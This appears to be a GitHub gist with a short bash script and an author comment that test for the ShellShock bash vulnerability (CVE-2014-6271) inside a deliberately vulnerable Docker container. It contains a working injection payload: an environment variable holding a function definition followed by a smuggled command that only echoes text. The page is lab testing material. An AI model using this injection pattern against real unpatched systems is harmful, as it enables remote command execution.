Skip to content

Instantly share code, notes, and snippets.

@wesleyit
Last active April 2, 2019 16:54
Show Gist options
  • Save wesleyit/c48a0b1e7e35b85e0a1bcf064183c260 to your computer and use it in GitHub Desktop.
Save wesleyit/c48a0b1e7e35b85e0a1bcf064183c260 to your computer and use it in GitHub Desktop.
Test for ShellShock Vulnerability (cve-2014-6271)
#!/bin/bash
docker run -d -p 8080:80 --name target hmlio/vaas-cve-2014-6271
cat << EOF | docker exec -i target bash
export EXPLOIT="() { echo 'Hello from Shell'; }; echo 'This machine is vulnerable'"
bash
EOF
@wesleyit
Copy link
Author

wesleyit commented Apr 2, 2019

Changed from pasted commands to script.
[wesley@linuxdragon: ~]$ docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
[wesley@linuxdragon: ~]$ docker exec -ti mystifying_einstein bash
root@250f4b7a7940:/# export EXPLOIT_VAR="() { echo 'Testing for ShellShock'; }; echo 'This machine is vulnerable.'"
root@250f4b7a7940:/# bash
This machine is vulnerable.
root@250f4b7a7940:/#

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment